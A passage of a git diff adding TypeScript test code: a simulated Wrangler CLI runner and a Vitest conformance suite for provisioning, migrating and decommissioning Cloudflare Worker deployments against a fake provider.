ExpectedArgument[], +): void { + if ( + actual.length !== expected.length || + expected.some( + (value, index) => value !== dynamicArgument && value !== actual[index], + ) + ) { + throw new WranglerArgvContractError(command, expected, actual); + } +} + +function assertDeploymentArgv(arguments_: readonly string[]): void { + const nameIndex = arguments_.indexOf('--name'); + const versions = arguments_.slice(2, nameIndex); + if ( + arguments_[0] !== 'versions' || + arguments_[1] !== 'deploy' || + nameIndex < 3 || + versions.some((value) => !/^[^@]+@\d+(?:\.\d+)?%$/u.test(value)) || + arguments_.length !== nameIndex + 3 || + arguments_[nameIndex + 2] !== '-y' + ) { + throw new WranglerArgvContractError( + 'versions deploy', + ['versions', 'deploy', dynamicArgument, '--name', dynamicArgument, '-y'], + arguments_, + ); + } +} + +function readField(value: unknown, name: string): unknown { + return value && typeof value === 'object' + ? Reflect.get(value, name) + : undefined; +} + +function readString(value: unknown, name: string): string | undefined { + const candidate = readField(value, name); + return typeof candidate === 'string' ? candidate : undefined; +} + +function readBoolean(value: unknown, name: string): boolean { + return readField(value, name) === true; +} + +function readArray(value: unknown, name: string): readonly unknown[] { + const candidate = readField(value, name); + return Array.isArray(candidate) ? candidate : []; +} + +function objectEntries(value: unknown): Array { + if (!value || typeof value !== 'object' || Array.isArray(value)) return []; + return Reflect.ownKeys(value).flatMap((key) => + typeof key === 'string' ? [[key, Reflect.get(value, key)] as const] : [], + ); +} + +function json(value: unknown): CommandResult { + return { stdout: JSON.stringify(value), stderr: '' }; +} + +function success(): CommandResult { + return { stdout: '', stderr: '' }; +} + +function argumentAfter( + arguments_: readonly string[], + flag: string, +): string | undefined { + const index = arguments_.indexOf(flag); + return index < 0 ? undefined : arguments_[index + 1]; +} + +function injectedFailure(operation: string): Error { + return new Error(`injected Wrangler failure for ${operation}`); +} + +async function settleFailure( + world: ProviderWorld, + operation: string, + failure: ProviderFailure | undefined, +): Promise { + if (failure?.response) { + throw new Error( + `ProviderFailure.response is REST-only; the CLI projection cannot settle ${operation}`, + ); + } + await world.applyAfter(operation); + if (failure) throw failure.error ?? injectedFailure(operation); +} + +async function stagedModules( + configPath: string, +): Promise { + const directory = dirname(configPath); + const entries = await readdir(directory, { + recursive: true, + encoding: 'utf8', + }); + const modules: WorkerModule[] = []; + for (const entry of entries) { + if ( + basename(entry) === 'wrangler.candidate.json' || + basename(entry) === 'wrangler.secrets.json' + ) { + continue; + } + const path = join(directory, entry); + if (!(await stat(path)).isFile()) continue; + modules.push({ + name: relative(directory, path), + content: await readFile(path, 'utf8'), + }); + } + return modules.sort((left, right) => left.name.localeCompare(right.name)); +} + +async function configUpload(arguments_: readonly string[]): Promise<{ + readonly scriptName: string; + readonly tag: string | undefined; + readonly mainModule: string; + readonly modules: readonly WorkerModule[]; + readonly bindings: readonly unknown[]; + readonly publicAccess: { + readonly workersDevEnabled: boolean; + readonly previewUrlsEnabled: boolean; + }; +}> { + const configPath = argumentAfter(arguments_, '--config'); + const secretsPath = argumentAfter(arguments_, '--secrets-file'); + if (!configPath || !secretsPath) { + throw new Error('Wrangler projection requires config and secrets paths'); + } + const config: unknown = JSON.parse(await readFile(configPath, 'utf8')); + const secrets: unknown = JSON.parse(await readFile(secretsPath, 'utf8')); + const scriptName = readString(config, 'name'); + const mainModule = readString(config, 'main'); + if (!scriptName || !mainModule) { + throw new Error('Wrangler candidate config has no name or main module'); + } + const bindings: unknown[] = []; + for (const [name, value] of objectEntries(readField(config, 'vars'))) { + bindings.push({ name, type: 'plain_text', text: String(value) }); + } + for (const [name, value] of objectEntries(secrets)) { + bindings.push({ name, type: 'secret_text', text: String(value) }); + } + for (const binding of readArray(config, 'd1_databases')) { + bindings.push({ + name: readString(binding, 'binding'), + type: 'd1', + database_id: readString(binding, 'database_id'), + }); + } + for (const binding of readArray( + readField(config, 'durable_objects'), + 'bindings', + )) { + bindings.push({ + name: readString(binding, 'name'), + type: 'durable_object_namespace', + class_name: readString(binding, 'class_name'), + }); + } + for (const binding of readArray(config, 'services')) { + bindings.push({ + name: readString(binding, 'binding'), + type: 'service', + service: readString(binding, 'service'), + }); + } + for (const binding of readArray(readField(config, 'queues'), 'producers')) { + bindings.push({ + name: readString(binding, 'binding'), + type: 'queue', + queue_name: readString(binding, 'queue'), + }); + } + for (const binding of readArray(config, 'r2_buckets')) { + bindings.push({ + name: readString(binding, 'binding'), + type: 'r2_bucket', + bucket_name: readString(binding, 'bucket_name'), + }); + } + return { + scriptName, + tag: argumentAfter(arguments_, '--tag'), + mainModule, + modules: await stagedModules(configPath), + bindings, + publicAccess: { + workersDevEnabled: readBoolean(config, 'workers_dev'), + previewUrlsEnabled: readBoolean(config, 'preview_urls'), + }, + }; +} + +export function cliProjection(world: ProviderWorld): CommandRunner { + return { + maxDurationMs: 5 * 60_000, + async run(arguments_) { + if (arguments_[0] === 'd1' && arguments_[1] === 'list') { + assertArgv('d1 list', arguments_, ['d1', 'list', '--json']); + return json( + world.databases.map(({ databaseId, name }) => ({ + uuid: databaseId, + name, + })), + ); + } + if (arguments_[0] === 'd1' && arguments_[1] === 'info') { + assertArgv('d1 info', arguments_, [ + 'd1', + 'info', + dynamicArgument, + '--json', + ]); + const databaseId = arguments_[2] ?? ''; + const database = world.databases.find( + (candidate) => candidate.databaseId === databaseId, + ); + if (!database) throw new Error(`D1 database '${databaseId}' not found`); + return json({ uuid: database.databaseId, name: database.name }); + } + if (arguments_[0] === 'd1' && arguments_[1] === 'create') { + assertArgv('d1 create', arguments_, ['d1', 'create', dynamicArgument]); + const name = arguments_[2] ?? ''; + if (world.databases.some((database) => database.name === name)) { + throw new Error(`D1 database '${name}' already exists`); + } + const failure = world.consumeFailure('createDatabase'); + if (!failure || failure.dispatched) { + world.createDatabase(name); + } + await settleFailure(world, 'createDatabase', failure); + return success(); + } + if (arguments_[0] === 'deployments' && arguments_[1] === 'status') { + assertArgv('deployments status', arguments_, [ + 'deployments', + 'status', + '--name', + dynamicArgument, + '--json', + ]); + const scriptName = argumentAfter(arguments_, '--name') ?? ''; + const script = world.scripts.get(scriptName); + if (!script?.present || !script.deployment) { + throw new Error(`Worker '${scriptName}' has no deployments`); + } + await world.applyAfter('deploymentStatus'); + return json({ + versions: script.deployment.map(({ versionId, percentage }) => ({ + version_id: versionId, + percentage, + })), + }); + } + if (arguments_[0] === 'versions' && arguments_[1] === 'list') { + assertArgv('versions list', arguments_, [ + 'versions', + 'list', + '--name', + dynamicArgument, + '--json', + ]); + const scriptName = argumentAfter(arguments_, '--name') ?? ''; + const script = world.scripts.get(scriptName); + if (!script?.present) { + throw new Error(`Worker '${scriptName}' does not exist`); + } + await world.applyAfter('listVersions'); + return json( + script.versions.map(({ versionId, tag }) => ({ + id: versionId, + annotations: tag === undefined ? undefined : { 'workers/tag': tag }, + })), + ); + } + if (arguments_[0] === 'versions' && arguments_[1] === 'view') { + assertArgv('versions view', arguments_, [ + 'versions', + 'view', + dynamicArgument, + '--name', + dynamicArgument, + '--json', + ]); + const scriptName = argumentAfter(arguments_, '--name') ?? ''; + const versionId = arguments_[2] ?? ''; + const script = world.scripts.get(scriptName); + const version = script?.present + ? script.versions.find( + (candidate) => candidate.versionId === versionId, + ) + : undefined; + if (!version) { + throw new Error(`Worker version '${versionId}' not found`); + } + await world.applyAfter('viewVersion'); + return json({ + id: version.versionId, + annotations: + version.tag === undefined + ? undefined + : { 'workers/tag': version.tag }, + resources: { bindings: version.bindings }, + }); + } + if ( + arguments_[0] === 'deploy' || + (arguments_[0] === 'versions' && arguments_[1] === 'upload') + ) { + assertArgv( + arguments_[0] === 'deploy' ? 'deploy' : 'versions upload', + arguments_, + [ + ...(arguments_[0] === 'deploy' + ? ['deploy'] + : ['versions', 'upload']), + '--config', + dynamicArgument, + '--secrets-file', + dynamicArgument, + '--tag', + dynamicArgument, + ], + ); + const failure = world.consumeFailure('uploadCandidate'); + if (!failure || failure.dispatched) { + const { publicAccess, ...upload } = await configUpload(arguments_); + const initial = arguments_[0] === 'deploy'; + world.applyUpload( + { + ...upload, + mode: initial ? 'initial' : 'staged', + ...(initial ? { publicAccess } : {}), + }, + { duplicate: failure?.duplicate }, + ); + } + await settleFailure(world, 'uploadCandidate', failure); + return success(); + } + if (arguments_[0] === 'versions' && arguments_[1] === 'deploy') { + assertDeploymentArgv(arguments_); + const scriptName = argumentAfter(arguments_, '--name') ?? ''; + const script = world.scripts.get(scriptName); + if (!script?.present) + throw new Error(`Worker '${scriptName}' not found`); + const deployment = arguments_ + .slice(2, arguments_.indexOf('--name')) + .map((entry) => { + const match = entry.match(/^(.+)@(.+)%$/u); + return { + versionId: match?.[1] ?? '', + percentage: Number(match?.[2]), + }; + }); + const operation = + deployment.length === 1 && deployment[0]?.percentage === 100 + ? 'promoteWorker' + : 'deployCandidate'; + const failure = world.consumeFailure(operation); + if (!failure || failure.dispatched) + world.applyDeployment(scriptName, deployment); + await settleFailure(world, operation, failure); + return success(); + } + if (arguments_[0] === 'delete') { + assertArgv('delete', arguments_, [ + 'delete', + '--name', + dynamicArgument, + '--force', + ]); + const scriptName = argumentAfter(arguments_, '--name') ?? ''; + const script = world.scripts.get(scriptName); + if (!script?.present) + throw new Error(`Worker '${scriptName}' not found`); + const failure = world.consumeFailure('deleteWorkerScript'); + if (!failure || failure.dispatched) world.deleteScript(scriptName); + await settleFailure(world, 'deleteWorkerScript', failure); + return success(); + } + if (arguments_[0] === 'd1' && arguments_[1] === 'export') { + assertArgv('d1 export', arguments_, [ + 'd1', + 'export', + dynamicArgument, + '--remote', + '--skip-confirmation', + '--output', + dynamicArgument, + ]); + const databaseId = arguments_[2] ?? ''; + const output = argumentAfter(arguments_, '--output'); + if (!output) throw new Error('Wrangler D1 export has no output path'); + const failure = world.consumeFailure('exportDatabase'); + if (!failure || failure.dispatched) { + const bytes = world.exports.get(databaseId); + if (!bytes) throw new Error(`D1 database '${databaseId}' not found`); + await writeFile(output, bytes); + world.mutationLog.push(`export:${databaseId}`); + } + await settleFailure(world, 'exportDatabase', failure); + return success(); + } + throw new WranglerArgvContractError('unknown command', [], arguments_); + }, + }; +} diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts new file mode 100644 index 00000000..493258fe --- /dev/null +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -0,0 +1,1172 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { describe, expect, it } from 'vitest'; +import { ActiveRouteAttestationError } from '../src/active-route.js'; +import { migrateFleet } from '../src/fleet.js'; +import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; +import { + decommissionDeployment, + forceDecommissionDeployment, + provisionDeployment, +} from '../src/provision.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { + DeploymentSecrets, + DeploymentSpec, + FleetRecord, +} from '../src/types.js'; +import { + buildPlainWorkerSpec, + captureFailure, + causeChain, + errorChain, + ignoreFailure, + initialSpec, + migrationSpec, + type PlainWorkerHarness, + routeAttestation, + seedWorkerFromSpec, + sharedSecrets, +} from './fixtures/plain-worker-harnesses.js'; +import type { + ProviderDatabase, + ProviderWorld, +} from './fixtures/provider-world.js'; + +const ownedFence = { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned: async () => {}, +}; + +function databaseReference(database: ProviderDatabase) { + return { + id: database.databaseId, + name: database.name, + created: false, + }; +} + +async function provisionReady( + harness: PlainWorkerHarness, + spec: DeploymentSpec = buildPlainWorkerSpec(), + secrets: DeploymentSecrets = sharedSecrets, +) { + return provisionDeployment({ + backend: harness.backend, + store: harness.store, + spec, + secrets, + initialExecutionFenceState: 'open', + clock: () => 1_000, + routeAttestation, + }); +} + +function migrate( + harness: PlainWorkerHarness, + record: FleetRecord, + spec: DeploymentSpec, + secrets: DeploymentSecrets = sharedSecrets, +) { + return migrateFleet({ + store: harness.store, + records: [record], + canaryTenantTags: [], + backendFor: () => harness.backend, + specFor: () => spec, + secretsFor: () => secrets, + clock: () => 2_000, + routeAttestation, + }); +} + +function alterFleetDigest( + world: ProviderWorld, + scriptName: string, + value: string | undefined, +): void { + const binding = world.scripts + .get(scriptName) + ?.versions[0]?.bindings.find( + (candidate) => + candidate !== null && + typeof candidate === 'object' && + Reflect.get(candidate, 'name') === 'FLEET_SPEC_DIGEST', + ); + if (!binding || typeof binding !== 'object') { + throw new Error('seeded Worker has no fleet digest binding'); + } + if (value === undefined) Reflect.deleteProperty(binding, 'text'); + else Reflect.set(binding, 'text', value); +} + +function clearWorker(world: ProviderWorld, scriptName: string): void { + world.deleteScript(scriptName); + // deleteScript does not sweep custom domains, so this seed helper clears them + // before adding the one residual each row exercises. + for (let index = world.customDomains.length - 1; index >= 0; index -= 1) { + if (world.customDomains[index]?.service === scriptName) { + world.customDomains.splice(index, 1); + } + } +} + +export function describePlainWorkerConformance( + label: string, + makeHarness: (world?: ProviderWorld) => PlainWorkerHarness, +): void { + describe(`ordinary Worker conformance: ${label}`, () => { + it('1. provisions an initial deployment to ready with one guarded live version', async () => { + const harness = makeHarness(); + const spec = buildPlainWorkerSpec(); + const result = await provisionReady(harness, spec); + + expect(result.record).toMatchObject({ + backend: 'plain-worker', + tenantTag: spec.tenantTag, + environment: spec.environment, + scriptName: spec.scriptName, + databaseName: spec.databaseName, + schemaVersion: spec.schemaVersion, + desiredSpecDigest: deploymentSpecDigest(spec), + routeHostname: spec.routeHostname, + phase: 'ready', + applicationResources: [], + }); + expect(result.maintenance).toMatchObject({ + armed: true, + deploymentSpecDigest: deploymentSpecDigest(spec), + }); + expect(harness.store.record).toEqual(result.record); + expect(harness.store.phases).toEqual([ + 'database-reserved', + 'database-create-authorized', + 'database-created', + 'identity-seeded', + 'identity-seeded', + 'identity-seeded', + 'migrated', + 'application-resources-create-authorized', + 'application-resources-deployed', + 'worker-deployed', + 'maintenance-armed', + 'publishing', + 'ready', + ]); + + const script = harness.world.scripts.get(spec.scriptName); + expect(script).toBeDefined(); + expect(script?.present).toBe(true); + expect(script?.versions).toHaveLength(1); + expect(script?.versions[0]).toMatchObject({ + versionId: result.record.artifactVersion, + tag: deploymentSpecDigest(spec), + }); + expect(script?.deployment).toEqual([ + { versionId: result.record.artifactVersion, percentage: 100 }, + ]); + expect(script?.subdomain).toEqual({ + enabled: true, + previewsEnabled: false, + }); + expect([...(script?.secretNames ?? [])].sort()).toEqual([ + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ]); + const ingress = plainWorkerIngressModule(spec); + expect(script?.versions[0]?.mainModule).toBe(ingress.name); + expect( + script?.versions[0]?.modules.find( + (module) => module.name === ingress.name, + )?.content, + ).toBe(ingress.content); + expect(script?.versions[0]?.bindings).toEqual( + expect.arrayContaining([ + { + type: 'plain_text', + name: 'FLEET_INGRESS_CONTRACT', + text: 'guarded-object-v1', + }, + { + type: 'd1', + name: 'DB', + database_id: result.record.databaseId, + }, + expect.objectContaining({ + type: 'durable_object_namespace', + name: 'MAINTENANCE', + class_name: 'Maintenance', + namespace_id: result.record.durableObjectBindings[0]?.namespaceId, + }), + ]), + ); + expect(harness.world.customDomains).toEqual([ + { + id: expect.any(String), + hostname: spec.routeHostname, + service: spec.scriptName, + }, + ]); + expect(harness.world.durableObjectNamespaces).toEqual([ + { + id: result.record.durableObjectBindings[0]?.namespaceId, + script: spec.scriptName, + className: 'Maintenance', + }, + ]); + + const database = harness.world.databases.find( + ({ databaseId }) => databaseId === result.record.databaseId, + ); + expect(database).toBeDefined(); + expect( + database?.d1.queryDatabase( + 'SELECT id, tenant_tag FROM flowsafe_deployment', + ), + ).toEqual([{ id: 1, tenant_tag: spec.tenantTag }]); + expect( + database?.d1.queryDatabase( + 'SELECT id, state FROM flowsafe_execution_fence', + ), + ).toEqual([{ id: 'deployment', state: 'open' }]); + expect( + database?.d1.queryDatabase( + 'SELECT version FROM anchorage_fleet_migrations ORDER BY version', + ), + ).toEqual([{ version: 1 }, { version: 2 }]); + expect( + database?.d1 + .queryDatabase('PRAGMA table_info(example)') + .map((row) => row.name), + ).toEqual(['id', 'value']); + }); + + it('2. migrates an existing deployment through a staged candidate and promotion', async () => { + const harness = makeHarness(); + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + const initial = await provisionReady(harness, currentSpec); + let stagedDeployment: + | readonly { versionId: string; percentage: number }[] + | undefined; + let stagedDigest: string | undefined; + harness.world.afterNext('ensureMaintenance', (world) => { + const script = world.scripts.get(targetSpec.scriptName); + stagedDeployment = script?.deployment?.map((version) => ({ + ...version, + })); + stagedDigest = script?.versions[0]?.tag; + }); + + const [migrated] = await migrate(harness, initial.record, targetSpec); + + expect(stagedDeployment).toEqual([ + { versionId: initial.record.artifactVersion, percentage: 100 }, + { versionId: expect.any(String), percentage: 0 }, + ]); + expect(stagedDigest).toBe(deploymentSpecDigest(targetSpec)); + expect(migrated).toMatchObject({ + phase: 'ready', + desiredSpecDigest: deploymentSpecDigest(targetSpec), + schemaVersion: 2, + }); + expect(migrated?.pendingSpecDigest).toBeUndefined(); + expect(migrated?.pendingArtifactVersion).toBeUndefined(); + const script = harness.world.scripts.get(targetSpec.scriptName); + expect(script?.deployment).toEqual([ + { versionId: migrated?.artifactVersion, percentage: 100 }, + ]); + expect(harness.world.customDomains).toEqual([ + expect.objectContaining({ + hostname: targetSpec.routeHostname, + service: targetSpec.scriptName, + }), + ]); + }); + + it('3. leaves the candidate at zero traffic when maintenance attestation fails', async () => { + const harness = makeHarness(); + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + const initial = await provisionReady(harness, currentSpec); + harness.world.mutationLog.length = 0; + harness.world.afterNext('ensureMaintenance', (world) => { + alterFleetDigest(world, targetSpec.scriptName, 'f'.repeat(64)); + }); + + const failure = await captureFailure( + migrate(harness, initial.record, targetSpec), + ); + + expect(errorChain(failure)).toContain( + 'maintenance response did not attest fleet specification', + ); + const script = harness.world.scripts.get(targetSpec.scriptName); + expect(script?.deployment).toEqual([ + { versionId: initial.record.artifactVersion, percentage: 100 }, + { versionId: expect.any(String), percentage: 0 }, + ]); + expect(harness.world.mutationLog).toContain( + `deploy-candidate:${targetSpec.scriptName}`, + ); + expect(harness.world.mutationLog).not.toContain( + `deploy:${targetSpec.scriptName}`, + ); + }); + + it('4. attests one active route and refuses absent or malformed routed digests', async () => { + const spec = buildPlainWorkerSpec(); + const healthy = makeHarness(); + const [version] = seedWorkerFromSpec(healthy.world, { spec }); + await expect( + healthy.backend.attestActiveRoute(spec), + ).resolves.toMatchObject({ + specDigest: deploymentSpecDigest(spec), + artifactVersion: version?.versionId, + physicalScriptName: spec.scriptName, + source: 'workers-deployments', + }); + + for (const digest of [undefined, 'malformed-digest']) { + const harness = makeHarness(); + seedWorkerFromSpec(harness.world, { spec }); + alterFleetDigest(harness.world, spec.scriptName, digest); + const failure = await captureFailure( + harness.backend.attestActiveRoute(spec), + ); + expect(failure).toBeInstanceOf(ActiveRouteAttestationError); + } + }); + + it('5. refuses split traffic during active-route attestation', async () => { + const harness = makeHarness(); + const spec = buildPlainWorkerSpec(); + const nextSpec = buildPlainWorkerSpec({ + modules: [ + { name: 'worker.js', content: 'export default { fetch() {} }' }, + ], + }); + const [active] = seedWorkerFromSpec(harness.world, { spec }); + const [candidate] = seedWorkerFromSpec(harness.world, { + spec: nextSpec, + mode: 'staged', + }); + const script = harness.world.scripts.get(spec.scriptName); + if (!active || !candidate || !script) { + throw new Error('failed to seed split-traffic Worker'); + } + script.deployment = [ + { versionId: active.versionId, percentage: 50 }, + { versionId: candidate.versionId, percentage: 50 }, + ]; + + await expect( + harness.backend.attestActiveRoute(spec), + ).rejects.toBeInstanceOf(ActiveRouteAttestationError); + }); + + it('6. refuses foreign Worker, database, and custom-domain ownership', async () => { + const spec = buildPlainWorkerSpec({ previousDurableObjectTag: 'v1' }); + + const foreignWorker = makeHarness(); + const workerDatabase = foreignWorker.world.seedDatabase( + spec.databaseName, + ); + seedWorkerFromSpec(foreignWorker.world, { + spec: buildPlainWorkerSpec({ tenantTag: 'foreign' }), + databaseId: workerDatabase.databaseId, + }); + const workerFailure = await captureFailure( + foreignWorker.backend.deployWorker( + spec, + databaseReference(workerDatabase), + sharedSecrets, + undefined, + ownedFence, + undefined, + ), + ); + expect(errorChain(workerFailure)).toMatch( + /different deployment ownership|drifted tenant/u, + ); + + const foreignDatabase = makeHarness(); + const database = foreignDatabase.world.seedDatabase(spec.databaseName); + const reference = databaseReference(database); + await foreignDatabase.backend.seedDeploymentIdentity( + reference, + 'foreign', + ownedFence, + { initialExecutionFenceState: 'open' }, + ); + const databaseFailure = await captureFailure( + foreignDatabase.backend.seedDeploymentIdentity( + reference, + spec.tenantTag, + ownedFence, + { initialExecutionFenceState: 'open' }, + ), + ); + expect(errorChain(databaseFailure)).toContain( + "already belongs to deployment 'foreign'", + ); + + const foreignDomain = makeHarness(); + const [domainVersion] = seedWorkerFromSpec(foreignDomain.world, { spec }); + foreignDomain.world.customDomains.push({ + id: 'foreign-domain', + hostname: spec.routeHostname, + service: 'foreign-worker', + }); + const domainFailure = await captureFailure( + foreignDomain.backend.promoteWorker( + spec, + { + allowedCurrentScriptNames: [spec.scriptName], + allowUnrouted: false, + }, + undefined, + ownedFence, + domainVersion?.versionId, + ), + ); + expect(errorChain(domainFailure)).toContain( + `custom domain '${spec.routeHostname}' is owned by unexpected Worker 'foreign-worker'`, + ); + }); + + it('7. refuses duplicate tagged candidates in provider inventory', async () => { + const spec = buildPlainWorkerSpec(); + const duplicateInventory = makeHarness(); + seedWorkerFromSpec(duplicateInventory.world, { spec }); + seedWorkerFromSpec(duplicateInventory.world, { + spec, + mode: 'staged', + }); + await expect( + duplicateInventory.backend.inspect( + spec, + sharedSecrets.maintenanceAdmin, + undefined, + ), + ).rejects.toThrow( + /multiple Worker versions use fleet specification tag/u, + ); + + const dispatchedDuplicate = makeHarness(); + const currentSpec = initialSpec(); + const targetSpec = migrationSpec(); + const ready = await provisionReady(dispatchedDuplicate, currentSpec); + const readyRecord = structuredClone(ready.record); + const database = dispatchedDuplicate.world.databases.find( + ({ databaseId }) => databaseId === ready.record.databaseId, + ); + if (!database) throw new Error('ready database disappeared'); + const injected = new Error('dispatched duplicate upload'); + dispatchedDuplicate.world.failNext('uploadCandidate', { + dispatched: true, + duplicate: true, + error: injected, + }); + dispatchedDuplicate.world.mutationLog.length = 0; + + const failure = await captureFailure( + dispatchedDuplicate.backend.deployWorker( + targetSpec, + databaseReference(database), + sharedSecrets, + undefined, + ownedFence, + undefined, + ), + ); + + expect( + causeChain(failure).some( + (cause) => + cause instanceof Error && + cause.constructor === injected.constructor && + cause.message === injected.message, + ), + ).toBe(true); + expect(dispatchedDuplicate.store.record).toEqual(readyRecord); + expect( + dispatchedDuplicate.world.scripts + .get(targetSpec.scriptName) + ?.versions.filter( + ({ tag }) => tag === deploymentSpecDigest(targetSpec), + ), + ).toHaveLength(2); + expect(dispatchedDuplicate.world.mutationLog).not.toContain( + `deploy:${targetSpec.scriptName}`, + ); + expect(dispatchedDuplicate.world.mutationLog).not.toContain( + `deploy-candidate:${targetSpec.scriptName}`, + ); + }); + + it('8. converges the exact secret set and refuses a residual secret during decommission', async () => { + const applicationSecret = 'application-secret-value-000000000001'; + const application = { + vars: [], + secrets: [ + { + name: 'APP_TOKEN', + valueSha256: createHash('sha256') + .update(applicationSecret) + .digest('hex'), + }, + ], + r2Buckets: [], + }; + const secrets = { + ...sharedSecrets, + application: { APP_TOKEN: applicationSecret }, + }; + const currentSpec = initialSpec(); + const initialWithSecret = { ...currentSpec, application }; + const targetSpec = migrationSpec({ application }); + const harness = makeHarness(); + const initial = await provisionReady(harness, initialWithSecret, secrets); + const expectedSecrets = [ + 'APP_TOKEN', + 'DEPLOYMENT_IDENTITY_SECRET', + 'MAINTENANCE_ADMIN_SECRET', + ]; + expect( + [ + ...(harness.world.scripts.get(currentSpec.scriptName)?.secretNames ?? + []), + ].sort(), + ).toEqual(expectedSecrets); + + const [migrated] = await migrate( + harness, + initial.record, + targetSpec, + secrets, + ); + expect( + [ + ...(harness.world.scripts.get(targetSpec.scriptName)?.secretNames ?? + []), + ].sort(), + ).toEqual(expectedSecrets); + harness.world.afterNext('deleteControlSecrets', (world) => { + world.scripts.get(targetSpec.scriptName)?.secretNames.add('APP_TOKEN'); + }); + + const failure = await captureFailure( + decommissionDeployment({ + backend: harness.backend, + store: harness.store, + spec: targetSpec, + clock: () => 3_000, + }), + ); + expect(errorChain(failure)).toContain('failed exact secret revocation'); + expect( + harness.world.scripts.get(targetSpec.scriptName)?.secretNames, + ).toContain('APP_TOKEN'); + expect(migrated?.phase).toBe('ready'); + }); + + it('9. refuses foreign and concurrently claimed custom domains', async () => { + const spec = buildPlainWorkerSpec(); + + const foreign = makeHarness(); + const [foreignVersion] = seedWorkerFromSpec(foreign.world, { spec }); + foreign.world.customDomains.push({ + id: 'foreign-domain', + hostname: spec.routeHostname, + service: 'foreign-worker', + }); + const foreignFailure = await captureFailure( + foreign.backend.promoteWorker( + spec, + { + allowedCurrentScriptNames: [spec.scriptName], + allowUnrouted: false, + }, + undefined, + ownedFence, + foreignVersion?.versionId, + ), + ); + expect(errorChain(foreignFailure)).toContain( + "owned by unexpected Worker 'foreign-worker'", + ); + + const racing = makeHarness(); + const [racingVersion] = seedWorkerFromSpec(racing.world, { spec }); + racing.world.afterNext('listCustomDomains', (world) => { + world.customDomains.push({ + id: 'racing-domain', + hostname: spec.routeHostname, + service: 'racing-worker', + }); + }); + racing.world.mutationLog.length = 0; + const racingFailure = await captureFailure( + racing.backend.promoteWorker( + spec, + { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true }, + undefined, + ownedFence, + racingVersion?.versionId, + ), + ); + expect(errorChain(racingFailure)).toContain( + "owned by unexpected Worker 'racing-worker'", + ); + expect(racing.world.mutationLog).not.toContain( + `attach-domain:${spec.routeHostname}`, + ); + }); + + it('10. preserves public-access and guarded-ingress facts through ambiguous initial upload recovery', async () => { + const harness = makeHarness(); + const spec = buildPlainWorkerSpec(); + harness.world.failNext('uploadCandidate', { dispatched: true }); + const accepted = await provisionReady(harness, spec); + const retried = await provisionReady(harness, spec); + const script = harness.world.scripts.get(spec.scriptName); + + expect(accepted.record.phase).toBe('ready'); + expect(retried.record.phase).toBe('ready'); + expect(script?.subdomain).toEqual({ + enabled: true, + previewsEnabled: false, + }); + expect(script?.deployment).toEqual([ + { versionId: accepted.record.artifactVersion, percentage: 100 }, + ]); + expect(script?.versions).toHaveLength(1); + const ingress = plainWorkerIngressModule(spec); + expect(script?.versions[0]?.mainModule).toBe(ingress.name); + expect( + script?.versions[0]?.modules.find( + (module) => module.name === ingress.name, + )?.content, + ).toBe(ingress.content); + expect(script?.versions[0]?.bindings).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + type: 'plain_text', + name: 'FLEET_INGRESS_CONTRACT', + text: 'guarded-object-v1', + }), + ]), + ); + }); + + it('11. reconciles committed mutations and refuses requests that never commit', async () => { + const spec = buildPlainWorkerSpec(); + + const databaseCreate = makeHarness(); + databaseCreate.world.failNext('createDatabase', { dispatched: true }); + // The core adopts an exact unowned database after a lost create response. + const created = await provisionReady(databaseCreate, spec); + expect(created.record.phase).toBe('ready'); + expect(databaseCreate.world.databases).toHaveLength(1); + expect(created.record.databaseId).toBe( + databaseCreate.world.databases[0]?.databaseId, + ); + expect( + databaseCreate.world.mutationLog.filter((entry) => + entry.startsWith('create-database:'), + ), + ).toHaveLength(1); + + const upload = makeHarness(); + upload.world.failNext('uploadCandidate', { dispatched: true }); + const uploaded = await provisionReady(upload, spec); + expect(uploaded.record.phase).toBe('ready'); + expect(upload.world.scripts.get(spec.scriptName)?.versions).toHaveLength( + 1, + ); + + const rejectedUpload = makeHarness(); + rejectedUpload.world.failNext('uploadCandidate', { + dispatched: false, + error: new Error('injected upload sentinel 0001'), + }); + const uploadRejection = await captureFailure( + provisionReady(rejectedUpload, spec), + ); + const rejectedScript = rejectedUpload.world.scripts.get(spec.scriptName); + expect(errorChain(uploadRejection)).toContain( + 'injected upload sentinel 0001', + ); + expect(rejectedScript).toBeUndefined(); + expect( + rejectedUpload.world.mutationLog.some((entry) => + entry.startsWith(`upload:${spec.scriptName}`), + ), + ).toBe(false); + + const stagedUpload = makeHarness(); + const stagedReady = await provisionReady(stagedUpload, initialSpec()); + const stagedTarget = migrationSpec(); + const database = stagedUpload.world.databases.find( + ({ databaseId }) => databaseId === stagedReady.record.databaseId, + ); + if (!database) throw new Error('ready database disappeared'); + stagedUpload.world.failNext('uploadCandidate', { + dispatched: false, + error: new Error('injected staged upload sentinel 0001'), + }); + stagedUpload.world.mutationLog.length = 0; + + const stagedRejection = await captureFailure( + stagedUpload.backend.deployWorker( + stagedTarget, + databaseReference(database), + sharedSecrets, + undefined, + ownedFence, + undefined, + ), + ); + + expect(errorChain(stagedRejection)).toContain( + 'injected staged upload sentinel 0001', + ); + expect(errorChain(stagedRejection)).toContain( + `failed to update existing Worker '${stagedTarget.scriptName}'`, + ); + expect( + stagedUpload.world.scripts.get(stagedTarget.scriptName)?.versions, + ).toHaveLength(1); + expect( + stagedUpload.world.mutationLog.some((entry) => + entry.startsWith('upload:'), + ), + ).toBe(false); + + for (const operation of ['deployCandidate', 'promoteWorker']) { + const deployment = makeHarness(); + const firstSpec = initialSpec(); + const targetSpec = migrationSpec(); + const initial = await provisionReady(deployment, firstSpec); + deployment.world.failNext(operation, { dispatched: true }); + const [recovered] = await migrate( + deployment, + initial.record, + targetSpec, + ); + expect(recovered?.phase).toBe('ready'); + expect( + deployment.world.scripts.get(targetSpec.scriptName)?.deployment, + ).toEqual([{ versionId: recovered?.artifactVersion, percentage: 100 }]); + + const rejected = makeHarness(); + const 